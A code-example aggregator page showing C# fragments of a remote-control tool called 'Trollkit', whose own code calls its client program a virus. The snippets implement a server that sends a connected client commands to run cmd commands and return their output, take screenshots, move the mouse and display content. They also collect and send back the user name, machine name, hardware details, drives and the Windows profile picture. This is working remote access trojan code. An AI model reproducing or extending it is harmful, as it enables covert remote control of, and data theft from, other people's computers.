示例#1
0
        /// <summary>
        /// Async function that handles the incoming connection
        /// </summary>
        /// <param name="result"></param>
        private void HandleIncomingConnection(IAsyncResult result)
        {
            try
            {
                Socket oldSocket = (Socket)result.AsyncState;
                Socket newSocket = oldSocket.EndAccept(result);

                uint   clientId = clientCount++;
                Client client   = new Client(clientId, (IPEndPoint)newSocket.RemoteEndPoint);
                clients.Add(newSocket, client);
                clients.FirstOrDefault(m => m.Key == newSocket).Value.SetDataItem("test", "DEBUG_TEST_ITEM2");

                //call the client connected event, this is then passed up into the ServerViewModel.
                ClientConnected(client);

                newSocket.BeginReceive(client.Data, 0, dataSize, SocketFlags.None, new AsyncCallback(ReceiveData), newSocket);

                //tell the client to start sending back its client info.
                TransferCommandObject returnObject = new TransferCommandObject {
                    Command = "GetClientInfo", Handler = "SystemInfo"
                };
                SendDataObjectToSocket(DataByteType.Command, newSocket, ClientServerPipeline.BufferSerialize(returnObject));

                serverSocket.BeginAccept(new AsyncCallback(HandleIncomingConnection), serverSocket);
            }
            catch (Exception e)
            {
                BConsole.WriteLine(e.Message);
            }
        }
        /// <summary>
        /// Send alt tab command to the client
        /// </summary>
        private void SendAltTab()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "AltTab", Handler = handler
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
示例#3
0
        public void CloseCMD()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "StopCMD", Handler = handler
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
        /// <summary>
        /// Sends the mouseposition command to the client.
        /// </summary>
        private void SendMousePosition()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "MousePosition", Handler = handler, Value = $"{XCoordinate},{YCoordinate}"
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
        /// <summary>
        /// Sends a cmd command to the client
        /// </summary>
        private void SendCMDCommand()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "Command", Handler = handler, Value = CommandText
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
示例#6
0
        /// <summary>
        /// Sends the beep command to the client
        /// </summary>
        public void SendBeep()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "PlayBeep", Handler = handler, Value = "800,800"
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
示例#7
0
        /// <summary>
        /// Opens a textbox on the client with the provided text
        /// </summary>
        private void SendDisplayText()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "TextBox", Handler = handler, Value = BroadcastMessageText
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
示例#8
0
        /// <summary>
        /// Sends the screenshot command to the client
        /// </summary>
        private void SendMakeScreenshot()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "MakeScreenshot", Handler = handler, Value = $"{_server.SelectedClient.SelectedScreen.ScreenId}"
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
        }
示例#9
0
        public void SendCMDToClient()
        {
            TransferCommandObject returnObject = new TransferCommandObject {
                Command = "ExecuteCMD", Handler = handler, Value = CommandText
            };

            _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
            CommandText = "";
        }
        public void TestMethod1()
        {
            string testText = "adasdsada\0\0\0\0\0\0\0\0";

            TransferCommandObject t = new TransferCommandObject {
                Command = "Login", Value = testText
            };


            var t2 = ClientServerPipeline.BufferDeserialize(ClientServerPipeline.BufferSerialize(t));

            Assert.AreEqual(t.Value, t2.Value);
        }
        private static void Timer_Tick(Object state)
        {
            //check for music and send it to all clients
            string song = MusicController.GetTrackInfo("Google Play Music Desktop Player");

            if (song != PrevSong)
            {
                PrevSong = song;
                Server.SendDataObjectToAll(0x1C, ClientServerPipeline.BufferSerialize(new TransferCommandObject {
                    Command = "NowPlaying", Value = song
                }));
                WriteLine("Now Playing: " + song, ConsoleColor.Cyan);
            }
        }
 private bool MakeScreenshot(Socket s, string monitorNumber)
 {
     try
     {
         ScreenshotModel       screenshotObject = Screenshot.MakeScreenshot(monitorNumber);
         TransferCommandObject pfTransferObject = new TransferCommandObject {
             Command = "ScreenshotResponse", Value = screenshotObject.ConvertToJson()
         };
         SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(pfTransferObject));
         return(true);
     }
     catch (Exception e)
     {
         BConsole.WriteLine("Visuals Error: " + e.Message, ConsoleColor.Red);
         return(false);
     }
 }
示例#13
0
        /// <summary>
        /// Function that sends an image to the client, displays the image and then presses f11 on the client.
        /// </summary>
        private void SendDisplayImage()
        {
            OpenFileDialog open = new OpenFileDialog();

            open.Filter      = "Image Files(*.png; *.jpg; *.jpeg; *.gif;)|*.png; *.jpg; *.jpeg; *.gif;";
            open.Multiselect = false;
            open.Title       = "Pick an image to send to the client";
            if (open.ShowDialog() == true)
            {
                byte[] bytes = File.ReadAllBytes(open.FileName);

                string base64 = Convert.ToBase64String(bytes);
                TransferCommandObject returnObject = new TransferCommandObject {
                    Command = "ShowImage", Handler = handler, Value = base64
                };
                _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject));
            }
        }
        private void ReadBuffer(Socket s)
        {
            Thread.Sleep(300);
            if (CMDLineBuffer.Count != 0)
            {
                string        appendedLines = "";
                List <string> data          = new List <string>(CMDLineBuffer);
                CMDLineBuffer.Clear();
                foreach (string line in data)
                {
                    appendedLines += line + "\r\n";
                }

                //write buffer to host
                TransferCommandObject responseCMDTransferObject = new TransferCommandObject {
                    Command = "CMDResponse", Value = appendedLines
                };
                SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(responseCMDTransferObject));
                ReadBuffer(s);
            }
        }
示例#15
0
        /// <summary>
        /// The async callback of receivedata
        /// </summary>
        /// <param name="result"></param>
        private void ReceiveData(IAsyncResult result)
        {
            try
            {
                Socket clientSocket = (Socket)result.AsyncState;
                Client client       = GetClientBySocket(clientSocket);
                if (client == null)
                {
                    return;
                }

                int          bytesReceived = clientSocket.EndReceive(result);
                DataByteType type          = (DataByteType)client.Data[SharedProperties.TypeByte];
                if (bytesReceived == 0)
                {
                    CloseSocket(clientSocket);
                    serverSocket.BeginAccept(new AsyncCallback(HandleIncomingConnection), serverSocket);
                }
                else if (Enum.IsDefined(typeof(DataByteType), (DataByteType)client.Data[SharedProperties.TypeByte]))
                {
                    int  length = BitConverter.ToInt32(new byte[] { client.Data[SharedProperties.LengthByte1], client.Data[SharedProperties.LengthByte2], 0, 0 }, 0);
                    int  series = BitConverter.ToInt32(new byte[] { client.Data[SharedProperties.SeriesByte1], client.Data[SharedProperties.SeriesByte2], 0, 0 }, 0);
                    Guid guid   = new Guid(client.Data.SubArray(SharedProperties.GuidStartByte, 16));

                    DataBufferModel buffer = Buffers.FirstOrDefault(n => n.DataId == guid);
                    if (buffer != null)
                    {
                        buffer.BufferedData.Add(series, client.Data.SubArray(SharedProperties.HeaderByteSize, SharedProperties.DataLength));
                        buffer.LatestSeries = series;
                    }
                    else
                    {
                        buffer = new DataBufferModel();
                        buffer.BufferedData.Add(series, client.Data.SubArray(SharedProperties.HeaderByteSize, SharedProperties.DataLength));
                        buffer.DataId       = guid;
                        buffer.SeriesLength = length;
                        buffer.LatestSeries = series;
                        Buffers.Add(buffer);
                    }
                    BConsole.WriteLine($"Received data with id: {guid.ToString()}");

                    if (buffer.BufferedData.Count == buffer.SeriesLength)
                    {
                        if (HandleIncomingData(ClientServerPipeline.BufferDeserialize(buffer), client, type))
                        {
                            Buffers.Remove(buffer);
                        }
                    }
                }
                clientSocket.BeginReceive(client.Data, 0, dataSize, SocketFlags.None, new AsyncCallback(ReceiveData), clientSocket);
            }
            catch (SocketException)
            {
                Socket clientSocket = (Socket)result.AsyncState;
                Client client       = GetClientBySocket(clientSocket);
                KickClient(client);
            }
            catch (Exception e)
            {
                BConsole.WriteLine("Recieve error occured: " + e.Message, ConsoleColor.Red);
            }
        }
        /// <summary>
        /// Called when a new message was received on any client socket.
        /// </summary>
        /// <param name="c"></param>
        /// <param name="model"></param>
        /// <param name="type"></param>
        private void Server_MessageReceived(Client c, TransferCommandObject model, Server.DataByteType type)
        {
            BConsole.WriteLine($"Client {c.GetName()} sent a message", ConsoleColor.DarkGray);

            switch (type)
            {
            case Server.DataByteType.Response:
                if (model.Command == "CMDResponse")
                {
                    c.AddToCMDBuffer(model.Value);
                }
                else if (model.Command == "ScreenshotResponse")
                {
                    ScreenshotModel screenshotObject = JsonConvert.DeserializeObject <ScreenshotModel>(model.Value);
                    c.SetScreenshot(screenshotObject);
                }
                else if (model.Command == "ScreenList")
                {
                    List <ScreenTypeModel> screenList = JsonConvert.DeserializeObject <List <ScreenTypeModel> >(model.Value);
                    if (screenList != null)
                    {
                        c.SetScreenData(screenList);
                    }
                }
                break;

            case Server.DataByteType.Command:
                if (model.Command == "Debug")
                {
                    TransferCommandObject returnObject = new TransferCommandObject {
                        Command = "PlayBeep", Handler = "Audio", Value = "200,300"
                    };
                    Server.SendDataObjectToSocket(Server.DataByteType.Command, Server.GetSocketByClient(c), ClientServerPipeline.BufferSerialize(returnObject));
                }
                break;

            case Server.DataByteType.Data:
                c.SetDataItem(model.Command, model.Value);
                NotifyPropertyChanged("SelectedClient.storedData");
                NotifyPropertyChanged("CurrentClientName");
                break;
            }
        }
示例#17
0
        /// <summary>
        /// Connects to the Remote host and receives data, returns if connection is lost
        /// </summary>
        /// <param name="ip"></param>
        /// <returns>Returns if the client should attempt a reconnect</returns>
        public bool ConnectAndReceive(string ip)
        {
            remoteSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            remoteSocket.Connect(new IPEndPoint(IPAddress.Parse(ip), SharedProperties.MainPort));
            BConsole.WriteLine($"Connected to Trollkit host at {ip}:{SharedProperties.MainPort}", ConsoleColor.DarkGreen);
            while (remoteSocket.IsConnected())
            {
                //receive data from server.
                byte[] array = new byte[SharedProperties.DataSize];
                try
                {
                    remoteSocket.Receive(array);
                }
                catch (SocketException e)
                {
                    if (e.SocketErrorCode == SocketError.ConnectionReset)
                    {
                        BConsole.WriteLine("Host connection closed unexpectedly...", ConsoleColor.Red);
                        return(true);
                    }
                    else
                    {
                        BConsole.WriteLine("Application crashed, closing now");
                        return(false);
                    }
                }
                catch (Exception e)
                {
                    BConsole.WriteLine("Application crashed, closing now");
                    return(false);
                }
                int    length    = BitConverter.ToInt32(new byte[] { array[SharedProperties.LengthByte1], array[SharedProperties.LengthByte2], 0, 0 }, 0);
                int    series    = BitConverter.ToInt32(new byte[] { array[SharedProperties.SeriesByte1], array[SharedProperties.SeriesByte2], 0, 0 }, 0);
                byte[] guidBytes = Extensions.SubArray(array, SharedProperties.GuidStartByte, 16);
                Guid   guid      = new Guid(guidBytes);
                if (guid != Guid.Empty)
                {
                    DataBufferModel buffer = buffers.FirstOrDefault(n => n.DataId == guid);
                    if (buffer != null)
                    {
                        buffer.BufferedData.Add(series, Extensions.SubArray(array, SharedProperties.HeaderByteSize, SharedProperties.DataLength));
                        buffer.LatestSeries = series;
                    }
                    else
                    {
                        buffer = new DataBufferModel();
                        buffer.BufferedData.Add(series, Extensions.SubArray(array, SharedProperties.HeaderByteSize, SharedProperties.DataLength));
                        buffer.LatestSeries = series;
                        buffer.DataId       = guid;
                        buffer.SeriesLength = length;
                        buffers.Add(buffer);
                    }

                    if (buffer.BufferedData.Count == buffer.SeriesLength)
                    {
                        OnDataReceived?.Invoke(remoteSocket, ClientServerPipeline.BufferDeserialize(buffer));
                    }
                }
            }

            return(false);            //if code reaches here, the client was gracefully kicked
        }
        /// <summary>
        /// Function that executes all functions and then returns their data to the Host
        /// </summary>
        /// <param name="s"></param>
        /// <returns></returns>
        private bool CollectAndReturnSystemInfo(Socket s)
        {
            bool success = true;

            try
            {
                string userName = $"> {Environment.UserName} on {Environment.MachineName}";
                TransferCommandObject userNameTransferObject = new TransferCommandObject {
                    Command = "ComputerName", Value = userName
                };
                SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(userNameTransferObject));
            }
            catch (Exception e)
            {
                success = false;
                BConsole.WriteLine("ComputerName error: " + e.Message, ConsoleColor.Red);
            }

            try
            {
                string cpu = GetCPUName();
                TransferCommandObject cpuTranfserObject = new TransferCommandObject {
                    Command = "CPU", Value = cpu
                };
                SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(cpuTranfserObject));
            }
            catch (Exception e)
            {
                success = false;
                BConsole.WriteLine("CPU error: " + e.Message, ConsoleColor.Red);
            }

            try
            {
                string drives = GetSystemDrives();
                TransferCommandObject drivesTransferObject = new TransferCommandObject {
                    Command = "Drives", Value = drives
                };
                SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(drivesTransferObject));
            }
            catch (Exception e)
            {
                success = false;
                BConsole.WriteLine("Drives error: " + e.Message, ConsoleColor.Red);
            }

            try
            {
                string osVersion = GetOSVersion();
                TransferCommandObject osVersionTransferObject = new TransferCommandObject {
                    Command = "WindowsVersion", Value = osVersion
                };
                SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(osVersionTransferObject));
            }
            catch (Exception e)
            {
                success = false;
                BConsole.WriteLine("WindowsVersion error: " + e.Message, ConsoleColor.Red);
            }

            try
            {
                string gpuName = GetGPUName();
                TransferCommandObject gpuNameTransferObject = new TransferCommandObject {
                    Command = "GPU", Value = gpuName
                };
                SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(gpuNameTransferObject));
            }
            catch (Exception e)
            {
                success = false;
                BConsole.WriteLine("GPU error: " + e.Message, ConsoleColor.Red);
            }

            try
            {
                string ramString = GetRamAmount();
                TransferCommandObject ramTransferObject = new TransferCommandObject {
                    Command = "RAM", Value = ramString
                };
                SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(ramTransferObject));
            }
            catch (Exception e)
            {
                success = false;
                BConsole.WriteLine("RAM error: " + e.Message, ConsoleColor.Red);
            }

            try
            {
                string screens = Screenshot.GetScreenList();
                TransferCommandObject ramTransferObject = new TransferCommandObject {
                    Command = "ScreenList", Value = screens
                };
                SendResponseObjectToSocket(s, ClientServerPipeline.BufferSerialize(ramTransferObject));
            }
            catch (Exception e)
            {
                success = false;
                BConsole.WriteLine("ScreenList error: " + e.Message, ConsoleColor.Red);
            }

            try
            {
                string base64ProfilePicture            = WindowsProfilePicture.Get448ImageString();
                TransferCommandObject pfTransferObject = new TransferCommandObject {
                    Command = "ProfilePicture", Value = base64ProfilePicture
                };
                SendDataObjectToSocket(s, ClientServerPipeline.BufferSerialize(pfTransferObject));
            }
            catch (Exception e)
            {
                success = false;
                BConsole.WriteLine("ProfilePicture error: " + e.Message, ConsoleColor.Red);
            }

            return(success);
        }
示例#19
0
        /// <summary>
        /// Function that sends a request to the client for removing the client application from the computer.
        /// </summary>
        private void RemoveVirusFromClient()
        {
            TransferCommandObject removeVirusTransferObject = new TransferCommandObject {
                Command = "DeleteTask", Handler = "Task"
            };
            var socket = ServerViewModel.Server.GetSocketByClient(this);

            ServerViewModel.Server.SendDataObjectToSocket(DataByteType.Command, socket, ClientServerPipeline.BufferSerialize(removeVirusTransferObject));
        }